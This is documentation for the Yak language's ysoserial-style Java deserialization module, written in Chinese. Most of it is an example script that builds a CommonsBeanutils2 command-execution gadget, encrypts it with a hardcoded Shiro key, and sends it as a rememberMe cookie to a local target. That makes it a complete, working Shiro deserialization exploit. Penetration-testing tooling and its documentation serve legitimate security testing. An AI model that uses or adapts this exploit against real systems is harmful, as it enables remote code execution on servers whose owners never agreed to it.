Java 反序列化利用链: yso(ysoserial)
Yak 通过非 Java 的方式实现了一整套 Java 反序列化协议。
可以在一定容错限度内劫持绝大部分 Java 反序列化流。
详情参考 java: java 反序列化协议的 Golang/Yak 实现
YsoSerial 的 Yak 替代品
在实现了 Java 反序列化协议后,Java 相关漏洞不再需要原生 Java 或硬编码 HEX/Binary 流来实现。如下是一个测试 shiro payload 的简单案例
log.setLevel("info")
gadgetObj,err = yso.GetGadget("CommonsBeanutils2",yso.useTemplate("RuntimeExec"),yso.evilClassName("YLGjbAeS"),yso.majorVersion(52),yso.useClassParam("cmd","whoami"))
if err {
log.error("%v",err)
return
}
gadgetBytes,err = yso.ToBytes(gadgetObj,yso.twoBytesCharString(),yso.dirtyDataLength(0))
if err {
log.error("%v",err)
return
}
// 16进制展示payload
hexPayload = codec.EncodeToHex(gadgetBytes)
(hexPayload)
// Shiro利用
target = "127.0.0.1:8080"
base64Key = "kPH+bIxk5D2deZiIxcaaaA==" // base64编码的key
key,_ = codec.DecodeBase64(base64Key) // 生成key
payload = codec.PKCS5Padding(gadgetBytes, 16) // 加密payload
encodePayload = codec.AESCBCEncrypt(key, payload, nil)[0]
finalPayload = codec.EncodeBase64(append(key, encodePayload...))
rsp,req,_ = poc.HTTP(`GET /login HTTP/1.1
Host: {{params(target)}}
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Cookie: rememberMe={{params(payload)}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
`,poc.params({"payload":finalPayload,"target":target})) // 发送payload
str.SplitHTTPHeadersAndBodyFromPacket(rsp)
log.info("发送Payload成功")
log.info("响应包: ",string(rsp))